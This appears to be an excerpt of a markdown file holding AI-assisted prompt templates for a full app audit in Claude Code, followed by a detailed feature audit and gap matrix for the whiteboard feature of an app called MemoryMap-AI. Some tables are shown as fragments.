+   • User problem it solves (with a short scenario)
+   • Why it's novel vs competitors (what they'd have to rebuild to copy)
+   • Core loop/retention hook (why users come back)
+   • Effort (S/M/L) and risk (Low/Med/High)
+   • First experiment to validate in ≤2 weeks (what to build/measure)
+
+4) Prioritization and roadmap
+   - Score all ideas (upgrades + new) using RICE or a simple Impact × Confidence / Effort score.
+   - Produce a 90‑day roadmap with 3 phases (Now, Next, Later), listing 5–8 items per phase with expected outcomes.
+   - Call out 3 "killer combos" (feature bundles that together create a unique value prop).
+
+5) Risk, moat, and metrics
+   - For the top 5 ideas, list the biggest risks and how to de‑risk (technical, UX, distribution, legal/privacy).
+   - Suggest 2–3 moat strategies (data network effects, workflow lock‑in, ecosystem/integrations, brand).
+   - Define success metrics per phase (activation rate, weekly active users, retention D7/D30, conversion, time‑to‑value).
+
+Output format
+- Use clear headings and bullet lists.
+- Keep explanations crisp and actionable (no fluff).
+- Where helpful, include tiny example UI copy or flow steps.
+- End with a "Start tomorrow" checklist: the 5 highest‑leverage actions I should begin in the next 48 hours.
+
+Thinking style
+- Be specific, opinionated, and practical.
+- Prefer ideas that are fast to validate and hard to copy.
+- If something depends on assumptions, state them and propose a quick test.
+```
+
+
+## How to run this with Opus for best results
+
+- Model/settings: Choose Opus (4.6/4.7/4.8 or Opus 5) and set Effort to Extra high/Max; enable Extended Thinking if available.[^1_3][^1_1]
+- Paste the prompt above, then fill in the bracketed sections with your app's details before sending.
+- If you have competitor URLs, include them; Opus can use them to ground the teardown.[^1_4][^1_5]
+- After the first output, iterate with follow‑ups like:
+    - "For Feature [X], go 2 levels deeper on the 10x vision and give me 3 alternate UI flows."
+    - "Turn the top 6 new feature ideas into 2‑week experiment plans with success metrics."
+    - "Rewrite the 90‑day roadmap assuming a 2‑person team and a hard launch date in 10 weeks."
+
+
+## Optional follow‑up prompts you can reuse
+
+- Deep dive on one feature:
+
+```text
+Take feature "[Feature name]" and produce:
+- A step‑by‑step user journey map (current vs 10x).
+- 3 signature interactions that would make this feature unmistakably ours.
+- A 1‑week prototype plan (what screens, what data, what fake‑it‑till‑you‑make‑it bits).
+```
+
+- Novelty stress test:
+
+```text
+For the top 8 new feature ideas, act as a skeptical competitor PM. For each idea:
+- Explain how you would copy it in 4–6 weeks.
+- Identify what would actually be hard to copy (data, workflow, integrations, brand).
+- Recommend how to strengthen the moat (specific product or distribution moves).
+```
+
+- Roadmap compression:
+
+```text
+Compress the 90‑day roadmap into a 6‑week sprint plan for a 2‑person team.
+- List weekly goals, owner (me / you / external), and the minimum lovable scope per week.
+- Call out any feature to cut or defer and why.
+```
+
+
+If you share your app's one‑liner, current features, and 2–3 competitor names/URLs, I can tailor this prompt precisely to your product and pre‑fill the context section for you.[^1_5][^1_6]

+# I need to maximise claude fable's abilities in claude code to do a full deep analysis and critical overview and deep analysis of my application, it has a lot of poor ui, a lot of poor ux, the backend needs refining, there are a lot of capabilities missing (large to even the tiny things that we take for granted). the app doesnt feel professional, it is laggy, poorly designed, lacks reliability and is slow. it is heavy on local ai models, and doesnt fit what a modern application should be. there is a lot of ui consistency and ui ux principles have been semi used but not really. it doesnt feel reliable or nice to use, the mobile ui is completely not designed and is just made to fit all the elements on the page, same with other resolutions. even when features both big and small are present, they are not nearly what they should be and the way they show themselves is not how the user would expect them to. the ui and ux is very flawed and there is a lot of clashing and lack fo spacing. there's so much more but i dont even know what to ask it to check. I need it's full detailed and not truncated plan on what to do and how to do it in a very structured way so I can get claude sonnet and opus to do them and a clear plan to follow. what do I ask it??
+
+Perfect — you want a single, maximally‑effective prompt that turns Claude Fable (in Claude Code) into a ruthless, end‑to‑end app auditor and modernization planner, producing a structured, non‑truncated blueprint Sonnet/Opus can execute.[^2_1][^2_2][^2_3]
+
+Below is a copy‑paste master prompt you can run in Claude Code (Plan Mode, high effort). It forces a full discovery → diagnosis → strategy → roadmap output, with explicit sections for UI/UX, frontend architecture, backend, local AI integration, performance, reliability, mobile/responsive, and “table‑stakes” features you’re missing.[^2_4][^2_5][^2_6]

+______________________________________________________________________
+
+## Master prompt for Claude Fable in Claude Code
+
+```text
+You are my Lead Product Engineer, UX Director, and Staff Architect rolled into one. Your job is to perform a full, deep, critical analysis of this application and produce a complete, structured, non‑truncated modernization plan that I can hand to Claude Sonnet and Opus to execute.
+
+Assumptions and constraints
+- This app currently feels unprofessional, laggy, poorly designed, unreliable, and slow.
+- UI/UX is inconsistent, clashing, and lacks proper spacing; mobile and other resolutions are not properly designed.
+- Features (big and small) exist but are not implemented to the standard users expect; flows are unintuitive.
+- The backend needs refinement; architecture is messy; local AI models are overused or poorly integrated.
+- Many basic “table‑stakes” capabilities of a modern app are missing.
+- I want a modern, professional, reliable, fast, and delightful application that still leverages local AI where it makes sense.
+
+Your mission
+1) Discover and map the current system
+   - Explore the codebase to understand:
+     • Tech stack (frontend, backend, databases, APIs, local AI models, packaging).
+     • Folder structure, key modules, and how data flows from UI → backend → AI → storage.
+     • How the app is built, run, tested, and deployed (scripts, configs, CI/CD if any).
+   - Summarize the current architecture in plain language:
+     • Frontend architecture (frameworks, state management, routing, styling system).
+     • Backend architecture (services, APIs, DBs, queues, auth, file handling).
+     • Local AI integration (which models, how they’re invoked, latency, fallbacks).
+     • Deployment targets (web, desktop, mobile, local, cloud).
+   - List the main user roles and core user journeys (e.g., onboarding, primary task, sharing/export, settings).
+
+2) Brutal but constructive audit (no sugar‑coating)
+   For each of the following areas, produce a detailed findings section with concrete examples from the codebase and/or UI:
+   
+   A. UI design and visual consistency
+      - Typography, color, spacing, layout grids, component consistency.
+      - Where UI principles are half‑applied or violated.
+      - Specific screens/components that feel broken, cluttered, or amateur.
+   
+   B. UX and interaction design
+      - Navigation structure, information architecture, discoverability of features.
+      - Flows that are confusing, too many steps, or don’t match user mental models.
+      - Missing feedback states (loading, error, empty, success), poor error messages.
+      - Accessibility gaps (contrast, focus states, keyboard nav, screen reader issues).
+   
+   C. Frontend architecture and code quality
+      - Component structure, duplication, coupling, state management anti‑patterns.
+      - Performance issues (re‑renders, large bundles, unoptimized assets, blocking AI calls).
+      - Lack of testing, error boundaries, logging, or observability.
+   
+   D. Backend architecture and reliability
+      - API design, error handling, validation, auth, rate limiting, retries.
+      - Data model issues, N+1 queries, missing indexes, inconsistent schemas.
+      - Reliability concerns (no health checks, poor logging, no monitoring, flaky jobs).
+   
+   E. Local AI integration
+      - Where local AI is overused, underused, or misused.
+      - Latency, context size, model selection, fallback strategies, offline behavior.
+      - UX around AI (progressive results, streaming, cancel/retry, explainability).
+   
+   F. Performance and perceived speed
+      - Startup time, interaction latency, AI wait times, heavy operations on main thread.
+      - Bundle sizes, image/assets optimization, caching strategies.
+   
+   G. Mobile and responsive design
+      - Breakpoints, layout behavior on small screens, touch targets, scrolling patterns.
+      - Features that break or become unusable on mobile.
+   
+   H. Missing “table‑stakes” features
+      - Basic capabilities modern users expect (e.g., robust search, filters, sorting, pagination, undo, confirmations, settings, profiles, notifications, export/import, error recovery, onboarding, help docs).
+      - Security and privacy basics (auth, sessions, data protection, backups).
+   
+   For each finding, include:
+   - Evidence: file paths, component names, or specific screens.
+   - Impact: how this hurts usability, reliability, performance, or trust.
+   - Severity: Critical / High / Medium / Low.
+
+3) Strategic vision: what “good” looks like
+   - Define a clear vision for the modernized app in 3–5 sentences (how it should feel, perform, and be perceived).
+   - List 5–8 design and engineering principles to guide all future work (e.g., “mobile‑first”, “fast by default”, “AI as a power‑user tool, not a crutch”, “consistent design system”, “observable and testable”).
+   - Describe the target architecture at a high level:
+     • Frontend: framework, component model, state management, styling system, design tokens.
+     • Backend: service boundaries, API style (REST/GraphQL), data stores, caching, queues.
+     • Local AI: where it stays local, what moves to cloud (if any), model orchestration pattern.
+     • Observability: logging, metrics, error tracking, performance monitoring.
+
+4) Concrete improvement plan (structured and executable)
+   Organize the work into clear workstreams. For each workstream, provide:
+   - Goals and success metrics (e.g., “reduce median interaction latency to <150ms”, “achieve Lighthouse performance ≥90 on mobile”, “cut crash rate by 80%”).
+   - A prioritized list of initiatives (each with a short title).
+   - For each initiative:
+     • Problem it solves (1–2 lines).
+     • High‑level solution approach (architecture + UX).
+     • Key files/areas to change (as specific as possible from your codebase scan).
+     • Dependencies (what must come first).
+     • Effort estimate (S/M/L) and risk (Low/Med/High).
+     • Suggested owner type (frontend, backend, full‑stack, design).
+   
+   Workstreams to cover:
+   A. Design system and UI consistency
+      - Color, type, spacing tokens; component library; layout patterns.
+      - Refactor plan for existing screens to adopt the system.
+   
+   B. UX overhauls for core journeys
+      - Onboarding, primary task flow, settings, error/recovery flows.
+      - New wireframe‑level descriptions of improved flows.
+   
+   C. Frontend refactor and performance
+      - Component restructuring, state management cleanup, bundle optimization.
+      - Specific performance fixes (memoization, virtualization, code splitting, caching).
+   
+   D. Backend hardening and API cleanup
+      - API redesign where needed, validation layers, error handling, retries.
+      - Data model migrations, indexing, query optimization.
+   
+   E. Local AI redesign
+      - Which models to keep local, which to replace or augment.
+      - New patterns for AI calls (streaming, progressive UI, background tasks, fallbacks).
+   
+   F. Mobile and responsive redesign
+      - Breakpoint strategy, layout changes, touch targets, navigation patterns.
+      - Features to simplify or re‑architect for mobile.
+   
+   G. Table‑stakes feature backlog
+      - List of missing basic features, each with a 1–2 line spec and priority.
+   
+   H. Reliability, testing, and observability
+      - Test strategy (unit, integration, E2E), error tracking, logging, dashboards.
+      - CI/CD improvements, deployment safety (rollbacks, feature flags).
+
+5) Phased roadmap (Now / Next / Later)
+   - Create a 90‑day roadmap split into 3 phases (Now: 0–4 weeks, Next: 5–8 weeks, Later: 9–12+ weeks).
+   - For each phase, list 6–10 concrete initiatives from the workstreams above.
+   - Ensure each phase delivers visible user value and reduces pain early (e.g., performance + core UX first).
+   - Call out 3 “killer combos” (bundles of changes that together make the app feel transformed).
+
+6) Execution playbooks for Sonnet and Opus
+   For the top 5–8 highest‑impact initiatives:
+   - Write a short “execution brief” that I can paste to Sonnet/Opus to implement each one. Each brief should include:
+     • Context and goal (1–2 lines).
+     • Files/modules involved.
+     • Step‑by‑step plan (numbered).
+     • Acceptance criteria (clear, testable).
+     • Risks and how to mitigate.
+   - Make these briefs specific enough that another agent can start coding immediately.
+
+7) Risk, moat, and metrics
+   - Identify the top risks in this modernization (technical, UX, timeline, user disruption) and how to de‑risk them.
+   - Suggest 2–3 moat strategies (e.g., unique AI workflows, data advantages, ecosystem/integrations).
+   - Define a small set of north‑star metrics and phase‑level KPIs (performance, reliability, engagement, satisfaction).
+
+Output format and style
+- Use clear Markdown headings and bullet lists.
+- Be specific, opinionated, and practical; avoid vague advice.
+- Reference actual files, components, and paths from this codebase wherever possible.
+- Do NOT truncate the plan. If you approach length limits, continue in subsequent messages until the full plan is delivered.
+- End with a “Start tomorrow” checklist: the 5–7 highest‑leverage actions I should begin in the next 48 hours.
+
+Before you begin
+- If anything critical is unclear (e.g., target platforms, key user journeys, non‑negotiable constraints), ask up to 5 focused questions first. If you can infer reasonable answers from the codebase, proceed and state your assumptions explicitly.
+```
+
+
+______________________________________________________________________
+
+## How to run this in Claude Code for best results
+
+- Use **Plan Mode** (or `--permission-mode plan`) so Fable reads and plans before touching code.[^2_2][^2_3]
+- Set **effort** to high/extra high so it doesn’t shortcut the analysis.[^2_1]
+- Paste the prompt into your repo root in Claude Code, then:
+    - Let it explore the codebase and ask clarifying questions if needed.
+    - Review its architecture summary and assumptions before it dives into the full audit.
+    - If it starts truncating, tell it: “Continue the plan from where you left off; do not summarize, keep full detail.”
+
+______________________________________________________________________
+
+## Follow‑up prompts you’ll likely want
+
+Once the big plan is done, use targeted prompts like:
+
+- “Take workstream A (Design system) and expand it into a step‑by‑step implementation plan with file‑by‑file changes and example tokens/components.”
+- “For the top 3 performance issues, write concrete refactor plans with before/after code patterns and benchmarks to hit.”
+- “Turn the mobile redesign section into a set of tickets: each ticket = one screen or component, with acceptance criteria and UX notes.”
+
+If you tell me your app’s stack (e.g., React/Next/Vue, Node/Python backend, how local AI is wired in), I can tailor this prompt’s assumptions and examples to your exact setup.

+# MemoryMap‑AI Whiteboard — Master Feature Spec & Rebuild Plan
+### Exhaustive reference: every feature audited across Microsoft Whiteboard, OneNote, draw.io, Adobe Illustrator + full current‑state audit of MemoryMap‑AI + complete gap matrix + rebuild plan
+
+This is the complete version — nothing summarised out. Use it as the single source of truth to hand to Claude/Fable for implementation. Section 1 is the exhaustive source‑app feature catalogue. Section 2 is the exhaustive current‑state audit of your actual code. Section 3 is the feature‑by‑feature gap matrix. Section 4 is the full target UI/panel spec. Section 5 is the complete keybinding scheme. Section 6 is data‑model changes. Section 7 is the phased build plan with nothing deferred silently — every item from Section 1 is accounted for somewhere in Section 3, marked either "build," "already have," or "explicitly out of scope" with a reason.

+
+## PART B — EXHAUSTIVE CURRENT‑STATE AUDIT (MemoryMap‑AI)
+
+Everything below is confirmed directly from `database.py`, `routes_whiteboard.py`, `tools.py` (whiteboard functions), `app.js`/`style.css` (whiteboard blocks), `ARCHITECTURE.md`, and `ROADMAP.md`/`HISTORY.md`.
+
+### B1. Data model (as it exists today)
+
+- `WhiteboardNode`: `id, boardid(FK→entries), entryid(FK→entries), x, y, z, width, height, rotation, groupid, createdat, updatedat`. One node per `(entryid, boardid)` pair — a note can appear once per board.
+- `WhiteboardSketch`: `id, boardid, data(text — SVG path OR link‑type JSON), x, y, z, groupid, createdat, updatedat`. Doubles as both freehand strokes/shapes **and** connector links (`type: link-straight/link-curved` with `sourceId/targetId/color`, plus `sourceAnchor/targetAnchor/sourcePoint/targetPoint`).
+- `WhiteboardObject`: `id, boardid, kind(image|text), data(JSON: url|content/color/fontsize/bg/bordercolor), x, y, z, width, height, rotation, groupid, createdat, updatedat`.
+- `MediaUpload`: `id, filename, originalname, createdat` — tracks every upload regardless of destination (note markdown, whiteboard image, document).
+- Boards are `Entry` rows; `boardid IS NULL` = default scratch board. Board title = the entry's first heading line (same convention as note titles).
+- Additive auto‑migration: new columns get `ALTER TABLE ... ADD COLUMN` at startup; no destructive migrations exist yet (Alembic deliberately deferred).
+
+### B2. Backend routes (`routes_whiteboard.py`)
+
+- `GET /whiteboard?boardid=` → full state (nodes+sketches+objects) for one board.
+- `GET /whiteboard/boards` → list of boards actually in use (has ≥1 item), with per‑kind counts. Deliberately excludes empty notes so the picker isn't the whole notebook.
+- `POST /whiteboard/boards` → create a new board (a plain note titled by name).
+- `PUT /whiteboard/boards/{id}` → rename (rewrites the note's heading line).
+- `GET /whiteboard/images` → every image object across every board (Library gallery).
+- `POST/PUT/DELETE /whiteboard/nodes/{id}` → card CRUD, validates note exists + board exists, idempotent on `(entryid, boardid)`.
+- `POST/PUT/DELETE /whiteboard/sketches/{id}` → sketch/link CRUD.
+- `POST/PUT/DELETE /whiteboard/objects/{id}` → image/text‑box CRUD, validates `data` shape per‑kind, media URL allowlist‑checked (prevents path traversal on delete).
+
+### B3. Frontend canvas mechanics (`app.js` whiteboard block, ~5,300 lines)
+
+**Camera/canvas:**
+- d3‑zoom, scale extent 0.1×–4×.
+- Grid types: none/lines/dots/isometric, colour = tint of board's own ink colour (theme‑aware), spacing scales with zoom via CSS custom properties (`--wb-grid-size/offset-x/-y`) so it pans/zooms with content, not the viewport.
+- Per‑board background colour picker + reset‑to‑theme‑default; per‑board background image (stored in `localStorage`, not the DB — a display preference, not notebook data).
+- Custom SVG cursor per tool (replaced an earlier JS‑positioned div that visibly lagged on fast swipes).
+- Empty‑board hint overlay (dismissible, explains tools) with its own scroll region so it doesn't get trapped under floating panels.
+
+**Selection:**
+- Tools: Select, Lasso (both grouped in one dropdown picker).
+- Single click select; Shift‑click adds/removes from multi‑selection; clicking a grouped item selects the whole group.
+- Marquee (rectangle) drag‑select; Lasso freeform (ray‑cast, centre‑point test).
+- `wbSelectedItem` (single) vs `wbMultiSelection` (Set of `"kind:id"` keys) — mutually exclusive by construction.
+- Delete/Backspace deletes current selection (single or multi) through the same delete path as every other deletion, so it's undo‑covered.
+
+**Transforms:**
+- Drag to move; bulk move recomputes every multi‑selected member from a captured origin snapshot each frame (avoids per‑frame delta compounding drift).
+- 8‑handle resize (corners = both axes, edges = one axis) for cards and objects; sketches get their own SVG‑rendered resize handles.
+- Rotation: a round handle above the item, connected by a stem; drag to rotate; Shift snaps to 15°. Works for cards, objects, **and** sketches (sketch rotation transforms the path data itself, `wbTransformPathD`).
+- Arrow‑key nudge: grid‑step when snap is on, 1px (10px with Shift) otherwise.
+- Snap: grid‑snap on every item kind, Alt bypasses it for one drag (Figma/Illustrator convention).
+- Smart alignment guides: edge, center, and equal‑spacing (nearest neighbour each side), independent per axis, colour‑coded and user‑alterable (three separate colour pickers), scoped to cards+objects (not sketches, which are freeform strokes not usually aligned against).
+
+**Drawing tools:**
+- Pen, Highlighter, Eraser (drags across strokes/cards to remove).
+- Shapes: Line, Arrow, Rectangle, Circle, Triangle, Diamond — all in a collapsible shape‑tool dropdown, grouped (Line+Arrow together, the rest together) because Line/Arrow share the "Line ends" control.
+- Independent start/end cap styles per line/arrow: none/arrow/circle/square/multi‑line.
+- Fill: colour + opacity slider + "no fill" toggle, for closed shapes.
+- Stroke: colour (always‑visible main toolbar swatch), width (slider with live size‑preview badge), style (solid/dashed/dotted), "no stroke" toggle.
+- Bucket/fill tool: click a shape to fill it with current stroke colour.
+- Text tool: click to place a text box, auto‑focuses for immediate typing.
+- Image tool: upload button + drag/drop/paste support.
+- Link tools: straight and curved connector, drag from one card to another; real anchor points (8 fixed fractional corner/edge points per shape, resolved via rectangle‑ray intersection, plus a "floating"/free point case) shown on hover with the link tool active; draggable endpoints to reattach to a different card (snapping to its nearest anchor) or detach to a free board‑space point.
+
+**Mind‑mapping:**
+- Tab (with a card selected) = add a new child card, radially spaced evenly among existing children.
+- Enter = add a new sibling (child of the same parent; falls back to child‑of‑self if no parent is known).
+- "Arrange as mind map" (Tree / Radial) in the Properties panel for any card that's part of a linked structure — reuses the Graph tab's own layout maths (`wbArrangeMindMap`), not a second engine.
+
+**Grouping:**
+- Ctrl+G groups current multi‑selection (persisted `groupid`, survives reload — unlike the in‑memory‑only `wbMultiSelection`).
+- Ctrl+Shift+G ungroups.
+- Clicking any grouped member selects the whole group.
+
+**Copy/paste:**
+- In‑memory clipboard (not OS clipboard — deliberate, no cross‑tab/app paste target makes sense here).
+- Cards are explicitly excluded from copy (a card is a 1:1 wrapper on a note; copying would either duplicate the note relationship incorrectly or silently move the original — refused with an explanatory toast instead).
+- Links are excluded from copy (they have no standalone shape — recomputed from two card positions every render).
+- Paste offsets by a fixed amount so the copy is visibly distinct from the original.
+
+**Undo/redo:**
+- Bounded stack (20 entries), per‑board.
+- Covers create/delete/move (move covers resize/rotate/style changes too — same PUT, different fields).
+- Batch entries: a single user gesture touching multiple items (multi‑nudge, align/distribute) undoes as one step, not N steps.
+- Redo stack cleared on any new action.
+- Delete‑tool and Eraser both route through the same delete‑and‑undo‑entry path.
+
+**Export:**
+- Formats: SVG, PNG, PDF (PDF via browser Print→Save‑as‑PDF, not hand‑rolled PDF bytes).
+- Scope: whole board / current viewport ("visible") / current selection.
+- Sketches are cloned as real SVG (preserves exact stroke/colour/opacity); cards and text boxes are rebuilt as simplified rect+label since the HTML card layer doesn't survive SVG rasterisation.
+
+**Panels (current):**
+- Top‑left: board picker (switch/rename/new).
+- Top‑right: library toggle, background colour+reset, grid type select, snap toggle, background‑image set, reset‑panel‑positions, clear‑board, export menu.
+- Bottom‑center (dockable to a left sidebar): full tool strip — pan/select‑picker/pen/highlighter/shape‑picker/text/image/eraser/bucket/link‑straight/link‑curved/delete/undo/redo/stroke‑colour/stroke‑width(+live badge).
+- Bottom‑right: zoom in/out/fit‑to‑screen, help.
+- Mid‑right: context‑sensitive Properties panel (colour/width/cap styles/dash style/no‑stroke/fill+"filled" toggle/background+"none"/border+"none"/font size/mind‑map‑arrange row/multi‑selection group‑ungroup‑align row) — rows shown/hidden per selected kind.
+- All floating panels are draggable (grip handle), positions persisted, resettable to default.
+- Board‑landing page (separate from the canvas view) lists every board as a gallery, with "New board."
+
+**Keyboard shortcuts (current):** V pan, S select, K lasso, P pen, M highlighter, L line, A arrow, R rectangle, O circle, G triangle, D diamond, T text, E eraser, B bucket, X delete, Tab new‑branch, Enter new‑sibling, Esc back‑to‑boards, Ctrl+Z/Y undo/redo, Ctrl+G/Ctrl+Shift+G group/ungroup, Ctrl+C/V copy/paste (where applicable), Delete/Backspace delete selection, Alt‑drag bypass snap.
+
+### B4. AI integration (`tools.py`)
+
+- `readwhiteboard(boardid)` — cards (id/noteid/preview), links (from/to card ids), text boxes (id/preview), image count, board title. Flat, not structured as a graph/outline.
+- `searchwhiteboard(query)` — keyword scan across every board's card previews (via linked note content) and text‑box content. **Not** embedding‑based — no semantic search over whiteboard content.
+- `addwhiteboardcard(noteid, boardid, x, y)` — place an existing note as a card; idempotent (returns existing card if the note's already on that board).
+- `addwhiteboardlink(fromcardid, tocardid, curved)` — connect two existing cards on the same board; refuses cross‑board links and self‑links.
+- `generatediagram(nodes, boardid, layout)` — the Mermaid‑equivalent: takes `[{ref, title|noteid, parentref}]`, validates exactly one root / unique refs / no cycles / no ref reused as two different node types, creates missing notes, computes non‑overlapping tree or radial layout server‑side (reusing the same row/column/radial‑step constants as the client's `wbArrangeMindMap`), creates cards + links in one transaction. Capped at 60 nodes per call (deliberate anti‑flood guard).
+
+### B5. Known, already‑documented gaps (from your own ROADMAP/HISTORY/ARCHITECTURE — not new findings, confirmed in your files)
+
+1. Deleting a note leaves its whiteboard card(s) behind — no cascade, no sweep.
+2. Orphaned media (an image that becomes unreferenced other than via the gallery delete button) isn't garbage‑collected.
+3. No embedding index over whiteboard‑resident text (text boxes, and by extension the board as a semantic unit) — search is keyword‑only.
+4. Image cropping: explicitly discussed, not scoped — needs an interaction decision (crop‑rectangle overlay vs. separate adjust mode) before building.
+5. `initWhiteboard` is 1,433 lines (one function); the whole whiteboard block is ~5,300 contiguous lines inside the single 29k‑line `app.js` — flagged by your own codebase review as the single highest‑value refactor target, to be done as its own session.
+6. `renderWhiteboard` (460 ln) and `renderWbObjects` (329 ln) also flagged for decomposition.
+7. The "full board re‑render on every card‑drag frame" perf bug is marked fixed but **not re‑verified against a large (hundreds‑of‑item) board** — reasoned from code, not measured.
+8. Two duplicate markdown renderers exist app‑wide (`renderInlineMarkdown` vs `appendInline`) — relevant if you extend rich‑text rendering into card previews.
+9. `wb-search` (a whiteboard library sidebar search input) exists in the HTML with zero JS wiring — literally a dead input sitting above a list it doesn't filter.

+## PART C — COMPLETE GAP MATRIX (every Part‑A feature, mapped)
+
+Legend: **HAVE** = fully implemented in MemoryMap‑AI today. **PARTIAL** = exists but incomplete/needs extension. **MISSING** = not present. **N/A** = doesn't apply to a local single‑user AI notebook (justified, not silently dropped). Priority: **P0** correctness/blocking, **P1** core to your stated goal, **P2** valuable, **P3** nice‑to‑have/defer.

+| Resize from center (Ctrl/Alt‑resize) | MISSING | P2 |
+| Numeric X/Y/W/H/rotation entry in Properties panel | MISSING | P1 — currently only Width and Rotation‑via‑drag are exposed; precise numeric transform entry is a core Illustrator‑tier expectation |

+### C5. Drawing/ink
+
+| Feature | Status | Priority |
+|---|---|---|
+| Pen/highlighter/eraser | HAVE | — |
+| Shape recognition (ink→clean shape, "beautify") | MISSING | P2 — you draw discrete shape tools already, but freehand‑drawn rough shapes aren't auto‑cleaned |
+| Handwriting→text | MISSING | N/A justified — MemoryMap is keyboard‑first/local‑LLM‑first, not a pen‑first app; defer unless you get a stylus workflow |
+| Math ink recognition | MISSING | N/A — out of scope, no evidence this serves your mindmapping use case |
+| Ink replay | MISSING | P3 |
+| Ruler tool | MISSING | P3 |
+| Pen focus/distraction‑free view | MISSING | P2 — relates to the presentation‑mode gap below |
+| Pressure sensitivity | MISSING | P3 — depends on your input devices; you're on laptop/desktop + iPhone, stylus support is a research question first |
+
+### C6. Shapes & connectors
+
+| Feature | Status | Priority |
+|---|---|---|
+| Basic shape set (rect/circle/triangle/diamond/line/arrow) | HAVE | — |
+| Domain‑specific shape libraries (flowchart/UML/network/ERD) | MISSING | P2 — valuable if you want draw.io‑grade diagramming, not required for pure mindmapping |
+| Custom/importable shape libraries | MISSING | P3 |
+| Connectors with auto‑attach + re‑route on move | HAVE (anchor system already does this) | — |
+| Arrowhead/endpoint style variety | HAVE | — none/arrow/circle/square/multiline caps |

+| Smart auto‑connect on hover (draw.io style directional arrows) | MISSING | P2 |
+| Auto‑layout for a whole flowchart (not just mind‑map tree/radial) | PARTIAL | P1 — `generatediagram`/`wbArrangeMindMap` cover tree/radial; a general auto‑arrange for a tangled non‑tree diagram doesn't exist |
+| Diagram generation from text/data | HAVE (server‑side, `generatediagram`) | — this is your Mermaid‑equivalent |
+| AI‑generated diagram from a prompt | HAVE (via chat → `generatediagram` tool call) | — already wired end‑to‑end |
+
+### C7. Vector path editing
+
+| Feature | Status | Priority |
+|---|---|---|
+| Anchor points + Bézier handles, Pen tool | MISSING | P3 — high build cost, low incremental value for a mindmapping/brainstorm tool vs. an illustration tool; recommend explicit scope‑out unless you want true Illustrator‑grade drawing |
+| Pathfinder boolean ops | MISSING | P3 (same reasoning) |
+| Clipping masks / compound paths | MISSING | P3 |
+| Simplify path / outline stroke / knife / blend / envelope | MISSING | P3 |
+| **Recommendation:** treat all of A7 as an explicit, named "Illustrator‑tier, out of scope for v1" bucket rather than silently dropped — see Part D. |
+
+### C8. Layers/grouping/z‑order
+
+| Feature | Status | Priority |
+|---|---|---|
+| Bring to front/back | PARTIAL | P1 — `z` field exists on every item; confirm a UI command exists (not just drag‑reorder) |
+| Bring forward/backward (one step) | MISSING | P2 |
+| Group/ungroup, persisted groupid | HAVE | — |
+| Nested groups | MISSING | P2 |
+| True layers panel (named, reorderable, visibility/lock toggle) | MISSING | P1 — this is a genuine, clearly‑stated gap from the earlier research pass |
+| Per‑object lock | MISSING | P1 — MS Whiteboard/draw.io/Illustrator all have this; you have none today, and it's cheap (one boolean column) |
+| Per‑layer opacity/blend mode | MISSING | P3 |
+| Isolation mode | MISSING | P3 |
+
+### C9. Colour/fill/stroke
+
+| Feature | Status | Priority |
+|---|---|---|
+| Stroke colour/width/style/no‑stroke | HAVE | — |
+| Fill colour/opacity/no‑fill | HAVE | — |

+| Gradients | MISSING | P2 |
+| Pattern fills | MISSING | P3 |
+| Swatches panel / custom saved palette | MISSING | P1 — currently every colour control is an ad‑hoc native `<input type=color>`; a shared, savable swatch palette is core to feeling "professional" across all four reference apps |
+| Eyedropper | MISSING | P2 |
+| Stroke caps/joins | PARTIAL | P2 — line/arrow end‑caps exist; generic stroke cap/join style for shape outlines doesn't |
+| Variable‑width stroke | MISSING | P3 |

+| Non‑destructive/editable effects stack | MISSING | P3 |
+
+### C10. Text & typography
+
+| Feature | Status | Priority |
+|---|---|---|
+| Text boxes | HAVE | — |
+| Font size | HAVE (text boxes only) | — |
+| Font family choice | MISSING | P1 — no font‑family control anywhere on the whiteboard |
+| Bold/italic/underline | MISSING | P1 — text boxes are plain, no inline formatting |
+| Text alignment (h/v) | MISSING | P2 |
+| Line spacing/letter spacing | MISSING | P3 |
+| Paragraph/character styles (reusable) | MISSING | P3 |
+| Lists (bulleted/numbered) inside a text box | MISSING | P2 |
+| **Rendered markdown inside note‑card previews** | MISSING | P0/P1 — cards show raw truncated text, not the note's actual formatting; this is your single clearest "should feel like OneNote" gap |
+| Hyperlinks | PARTIAL | P2 — links exist in note content generally; whether they render clickable inside a card preview is unconfirmed |
+| Find & replace text content on the board | MISSING | P2 |
+
+### C11. Images/media
+
+| Feature | Status | Priority |
+|---|---|---|

+| Image filters/adjustments | MISSING | P3 |
+| Embed video/playable media | MISSING | P3 |
+| Embed documents/files as objects | MISSING | P2 — you have a Documents feature already; embedding a document reference as a whiteboard object (distinct from a note card) doesn't exist |
+| Image trace/vectorize | MISSING | N/A — out of scope, Illustrator‑specific |
+| Orphaned media garbage collection | MISSING | P0 — correctness gap, already named in your own architecture doc |
+
+### C12. Templates/reusable components

+| Feature | Status | Priority |
+|---|---|---|
+| Pre‑built board templates | MISSING | P1 |
+| Save current board as a template | MISSING | P1 |

+|---|---|---|
+| Insert/create panel | HAVE (tool strip) | — |
+| Properties/format panel, context‑sensitive | HAVE | — |
+| Draggable/dockable/resettable floating panels | HAVE | — |
+| Layers panel | MISSING | P1 (see C8) |

+| Named custom workspace presets (save panel layout) | MISSING | P3 |
+| Status bar (zoom/tool/item‑count/board name) | MISSING | P2 |
+| Contextual floating quick‑action bar near a fresh selection | PARTIAL | P2 — Properties panel exists but is a fixed dock, not a "hovering near the selection" quick bar |
+| Help/shortcut overlay | HAVE (per‑app `?`‑style overlay exists app‑wide, confirm whiteboard‑specific shortcuts are listed there) | — |
+| Dead `wb-search` input (unwired) | BUG | P0 — either wire it to filter the board/library list or remove it |
+| Background‑image per board synced across devices | PARTIAL | P2 — currently `localStorage`‑only, so it won't follow you from laptop to desktop to iPhone the way the rest of the (server‑stored) notebook does |
+
+### C14. Collaboration
+
+| Feature | Status | Priority |
+|---|---|---|
+| Real‑time multi‑cursor | N/A | — MemoryMap‑AI is explicitly single‑user, local‑first; this is correctly out of scope, not a gap |
+| Comments/annotation threads | MISSING | P3 — could have local value as "sticky notes to self" but isn't collaboration in your context |
+| Share link | N/A | — no cloud backend exists or is wanted |
+
+### C15. Version history / autosave / backup
+
+| Feature | Status | Priority |
+|---|---|---|
+| Autosave | HAVE | — every mutation is an immediate PUT/POST, no explicit "save" step exists anywhere in the app |
+| Undo/redo as a safety net | HAVE | — bounded to 20 entries per board session (in‑memory, not persisted across reload) |
